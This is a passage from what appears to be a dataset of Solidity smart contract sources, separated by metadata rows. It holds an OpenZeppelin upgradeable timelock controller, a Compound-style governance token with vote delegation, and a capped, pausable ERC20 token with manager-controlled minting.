"Initializable: contract is already initialized");
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
modifier reinitializer(uint8 version) {
require(!_initializing && _initialized < version, "Initializable: contract is already initialized");
_initialized = version;
_initializing = true;
_;
_initializing = false;
emit Initialized(version);
}
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _disableInitializers() internal virtual {
require(!_initializing, "Initializable: contract is initializing");
if (_initialized < type(uint8).max) {
_initialized = type(uint8).max;
emit Initialized(type(uint8).max);
}
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
uint8 private constant _ADDRESS_LENGTH = 20;
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
function toHexString(address addr) internal pure returns (string memory) {
return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);
}
}
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
interface IERC165Upgradeable {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal onlyInitializing {
}
function __ERC165_init_unchained() internal onlyInitializing {
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal onlyInitializing {
}
function __AccessControl_init_unchained() internal onlyInitializing {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
modifier onlyRole(bytes32 role) {
_checkRole(role);
_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
function _checkRole(bytes32 role) internal view virtual {
_checkRole(role, _msgSender());
}
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(string(abi.encodePacked("AccessControl: account ",
StringsUpgradeable.toHexString(account),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32))));
}
}
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)
interface IERC721ReceiverUpgradeable {
function onERC721Received(address operator,
address from,
uint256 tokenId,
bytes calldata data) external returns (bytes4);
}
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol)
interface IERC1155ReceiverUpgradeable is IERC165Upgradeable {
function onERC1155Received(address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data) external returns (bytes4);
function onERC1155BatchReceived(address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data) external returns (bytes4);
}
contract TimelockControllerUpgradeable is Initializable, AccessControlUpgradeable, IERC721ReceiverUpgradeable, IERC1155ReceiverUpgradeable {
bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE");
bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE");
bytes32 public constant CANCELLER_ROLE = keccak256("CANCELLER_ROLE");
uint256 internal constant _DONE_TIMESTAMP = uint256(1);
mapping(bytes32 => uint256) private _timestamps;
uint256 private _minDelay;
event CallScheduled(bytes32 indexed id,
uint256 indexed index,
address target,
uint256 value,
bytes data,
bytes32 predecessor,
uint256 delay);
event CallExecuted(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data);
event Cancelled(bytes32 indexed id);
event MinDelayChange(uint256 oldDuration, uint256 newDuration);
function __TimelockController_init(uint256 minDelay,
address[] memory proposers,
address[] memory executors) internal onlyInitializing {
__TimelockController_init_unchained(minDelay, proposers, executors);
}
function __TimelockController_init_unchained(uint256 minDelay,
address[] memory proposers,
address[] memory executors) internal onlyInitializing {
_setRoleAdmin(TIMELOCK_ADMIN_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(PROPOSER_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(EXECUTOR_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(CANCELLER_ROLE, TIMELOCK_ADMIN_ROLE);
// deployer + self administration
_setupRole(TIMELOCK_ADMIN_ROLE, _msgSender());
_setupRole(TIMELOCK_ADMIN_ROLE, address(this));
// register proposers and cancellers
for (uint256 i = 0; i < proposers.length; ++i) {
_setupRole(PROPOSER_ROLE, proposers[i]);
_setupRole(CANCELLER_ROLE, proposers[i]);
}
// register executors
for (uint256 i = 0; i < executors.length; ++i) {
_setupRole(EXECUTOR_ROLE, executors[i]);
}
_minDelay = minDelay;
emit MinDelayChange(0, minDelay);
}
modifier onlyRoleOrOpenRole(bytes32 role) {
if (!hasRole(role, address(0))) {
_checkRole(role, _msgSender());
}
_;
}
receive() external payable {}
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, AccessControlUpgradeable) returns (bool) {
return interfaceId == type(IERC1155ReceiverUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
function isOperation(bytes32 id) public view virtual returns (bool registered) {
return getTimestamp(id) > 0;
}
function isOperationPending(bytes32 id) public view virtual returns (bool pending) {
return getTimestamp(id) > _DONE_TIMESTAMP;
}
function isOperationReady(bytes32 id) public view virtual returns (bool ready) {
uint256 timestamp = getTimestamp(id);
return timestamp > _DONE_TIMESTAMP && timestamp <= block.timestamp;
}
function isOperationDone(bytes32 id) public view virtual returns (bool done) {
return getTimestamp(id) == _DONE_TIMESTAMP;
}
function getTimestamp(bytes32 id) public view virtual returns (uint256 timestamp) {
return _timestamps[id];
}
function getMinDelay() public view virtual returns (uint256 duration) {
return _minDelay;
}
function hashOperation(address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(target, value, data, predecessor, salt));
}
function hashOperationBatch(address[] calldata targets,
uint256[] calldata values,
bytes[] calldata payloads,
bytes32 predecessor,
bytes32 salt) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(targets, values, payloads, predecessor, salt));
}
function schedule(address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt,
uint256 delay) public virtual onlyRole(PROPOSER_ROLE) {
bytes32 id = hashOperation(target, value, data, predecessor, salt);
_schedule(id, delay);
emit CallScheduled(id, 0, target, value, data, predecessor, delay);
}
function scheduleBatch(address[] calldata targets,
uint256[] calldata values,
bytes[] calldata payloads,
bytes32 predecessor,
bytes32 salt,
uint256 delay) public virtual onlyRole(PROPOSER_ROLE) {
require(targets.length == values.length, "TimelockController: length mismatch");
require(targets.length == payloads.length, "TimelockController: length mismatch");
bytes32 id = hashOperationBatch(targets, values, payloads, predecessor, salt);
_schedule(id, delay);
for (uint256 i = 0; i < targets.length; ++i) {
emit CallScheduled(id, i, targets[i], values[i], payloads[i], predecessor, delay);
}
}
function _schedule(bytes32 id, uint256 delay) private {
require(!isOperation(id), "TimelockController: operation already scheduled");
require(delay >= getMinDelay(), "TimelockController: insufficient delay");
_timestamps[id] = block.timestamp + delay;
}
function cancel(bytes32 id) public virtual onlyRole(CANCELLER_ROLE) {
require(isOperationPending(id), "TimelockController: operation cannot be cancelled");
delete _timestamps[id];
emit Cancelled(id);
}
// thus any modifications to the operation during reentrancy should be caught.
// slither-disable-next-line reentrancy-eth
function execute(address target,
uint256 value,
bytes calldata payload,
bytes32 predecessor,
bytes32 salt) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
bytes32 id = hashOperation(target, value, payload, predecessor, salt);
_beforeCall(id, predecessor);
_execute(target, value, payload);
emit CallExecuted(id, 0, target, value, payload);
_afterCall(id);
}
function executeBatch(address[] calldata targets,
uint256[] calldata values,
bytes[] calldata payloads,
bytes32 predecessor,
bytes32 salt) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
require(targets.length == values.length, "TimelockController: length mismatch");
require(targets.length == payloads.length, "TimelockController: length mismatch");
bytes32 id = hashOperationBatch(targets, values, payloads, predecessor, salt);
_beforeCall(id, predecessor);
for (uint256 i = 0; i < targets.length; ++i) {
address target = targets[i];
uint256 value = values[i];
bytes calldata payload = payloads[i];
_execute(target, value, payload);
emit CallExecuted(id, i, target, value, payload);
}
_afterCall(id);
}
function _execute(address target,
uint256 value,
bytes calldata data) internal virtual {
(bool success,) = target.call{value: value}(data);
require(success, "TimelockController: underlying transaction reverted");
}
function _beforeCall(bytes32 id, bytes32 predecessor) private view {
require(isOperationReady(id), "TimelockController: operation is not ready");
require(predecessor == bytes32(0) || isOperationDone(predecessor), "TimelockController: missing dependency");
}
function _afterCall(bytes32 id) private {
require(isOperationReady(id), "TimelockController: operation is not ready");
_timestamps[id] = _DONE_TIMESTAMP;
}
function updateDelay(uint256 newDelay) external virtual {
require(msg.sender == address(this), "TimelockController: caller must be timelock");
emit MinDelayChange(_minDelay, newDelay);
_minDelay = newDelay;
}
function onERC721Received(address,
address,
uint256,
bytes memory) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
function onERC1155Received(address,
address,
uint256,
uint256,
bytes memory) public virtual override returns (bytes4) {
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(address,
address,
uint256[] memory,
uint256[] memory,
bytes memory) public virtual override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
uint256[48] private __gap;
}
| 63,201 | 13,484 |
001629ece76aa8759b3266e1a5cb109e458c147df9e213de69add266c3c3e338
| 15,608 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/1165_80455_0x6149c26cd2f7b5ccdb32029af817123f6e37df5b.sol
| 2,845 | 11,167 |
// contracts/LaunchPoolToken.sol
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Copyright 2020 Compound Labs, Inc.
contract LaunchPoolToken {
/// @notice EIP-20 token name for this token
string public constant name = "Launchpool token";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "LPOOL";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public totalSupply;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
constructor(uint initialSupply, address account) public {
totalSupply = safe96(initialSupply, "Token::constructor:amount exceeds 96 bits");
balances[account] = uint96(initialSupply);
emit Transfer(address(0), account, initialSupply);
}
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Token::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
function burn(uint rawAmount) external {
uint96 amount = safe96(rawAmount, "Token::burn: amount exceeds 96 bits");
_burnTokens(msg.sender, amount);
}
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Token::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Token::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Token::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Token::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Token::delegateBySig: invalid nonce");
require(now <= expiry, "Token::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Token::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Token::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Token::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Token::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Token::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _mintTokens(address dst, uint96 amount) internal {
require(dst != address(0), "Token::_mintTokens: cannot transfer to the zero address");
uint96 supply = safe96(totalSupply, "Token::_mintTokens: totalSupply exceeds 96 bits");
totalSupply = add96(supply, amount, "Token::_mintTokens: totalSupply exceeds 96 bits");
balances[dst] = add96(balances[dst], amount, "Token::_mintTokens: transfer amount overflows");
emit Transfer(address(0), dst, amount);
_moveDelegates(address(0), delegates[dst], amount);
}
function _burnTokens(address src, uint96 amount) internal {
uint96 supply = safe96(totalSupply, "Token::_burnTokens: totalSupply exceeds 96 bits");
totalSupply = sub96(supply, amount, "Token::_burnTokens:totalSupply underflow");
balances[src] = sub96(balances[src], amount, "Token::_burnTokens: amount overflows");
emit Transfer(src, address(0), amount);
_moveDelegates(delegates[src], address(0), amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Token::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Token::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Token::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 230,169 | 13,485 |
f57d4535347a56a9ce8fc510dcee49e85f4028b74676377b9873140430768226
| 27,067 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/cc/cCd05A0fcfc1380e9Da27862Adb2198E58e0D66f_Anima.sol
| 3,125 | 12,742 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Burnable.sol)
abstract contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
_spendAllowance(account, _msgSender(), amount);
_burn(account, amount);
}
}
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (security/Pausable.sol)
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
modifier whenNotPaused() {
_requireNotPaused();
_;
}
modifier whenPaused() {
_requirePaused();
_;
}
function paused() public view virtual returns (bool) {
return _paused;
}
function _requireNotPaused() internal view virtual {
require(!paused(), "Pausable: paused");
}
function _requirePaused() internal view virtual {
require(paused(), "Pausable: not paused");
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
interface IERC20Bound {
function unbind(address _addresses) external;
function isUnbound(address _addr) external view returns (bool);
}
interface IAnima is IERC20 {
function mintFor(address _for, uint256 _amount) external;
}
interface IManager {
function isAdmin(address _addr) external view returns (bool);
function isManager(address _addr, uint256 _type) external view returns (bool);
function addManager(address _addr, uint256 _type) external;
function removeManager(address _addr, uint256 _type) external;
function addAdmin(address _addr) external;
function removeAdmin(address _addr) external;
}
abstract contract ManagerModifier {
//=======================================
// Immutables
//=======================================
IManager public immutable MANAGER;
//=======================================
// Constructor
//=======================================
constructor(address _manager) {
MANAGER = IManager(_manager);
}
//=======================================
// Modifiers
//=======================================
modifier onlyAdmin() {
require(MANAGER.isAdmin(msg.sender), "Manager: Not an Admin");
_;
}
modifier onlyManager() {
require(MANAGER.isManager(msg.sender, 0), "Manager: Not manager");
_;
}
modifier onlyMinter() {
require(MANAGER.isManager(msg.sender, 1), "Manager: Not minter");
_;
}
modifier onlyTokenMinter() {
require(MANAGER.isManager(msg.sender, 2), "Manager: Not token minter");
_;
}
modifier onlyBinder() {
require(MANAGER.isManager(msg.sender, 3), "Manager: Not binder");
_;
}
}
contract Anima is
IAnima,
ERC20,
ERC20Burnable,
ManagerModifier,
ReentrancyGuard,
Pausable
{
//=======================================
// Immutables
//=======================================
IERC20Bound public immutable BOUND;
uint256 public immutable CAP;
//=======================================
// Constructor
//=======================================
constructor(address _manager,
address _bound,
uint256 _cap) ERC20("Anima", "ANIMA") ManagerModifier(_manager) {
BOUND = IERC20Bound(_bound);
CAP = _cap;
}
//=======================================
// External
//=======================================
function mintFor(address _for, uint256 _amount)
external
override
onlyTokenMinter
{
// Check amount doesn't exceed cap
require(ERC20.totalSupply() + _amount <= CAP, "Anima: Cap exceeded");
// Mint
_mint(_for, _amount);
}
//=======================================
// Admin
//=======================================
function pause() external onlyAdmin {
_pause();
}
function unpause() external onlyAdmin {
_unpause();
}
//=======================================
// Internal
//=======================================
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal override {
// Call super
super._beforeTokenTransfer(from, to, amount);
// Check if sender is manager
if (!MANAGER.isManager(msg.sender, 0)) {
// Check if minting or burning
if (from != address(0) && to != address(0)) {
// Check if token is unbound
require(BOUND.isUnbound(address(this)), "Anima: Token not unbound");
}
}
// Check if contract is paused
require(!paused(), "Anima: Paused");
}
}
| 46,384 | 13,486 |
1314feacefa45cdbc71398d864c1490dae08397127ff732428e566d7923a60d6
| 26,437 |
.sol
|
Solidity
| false |
453466497
|
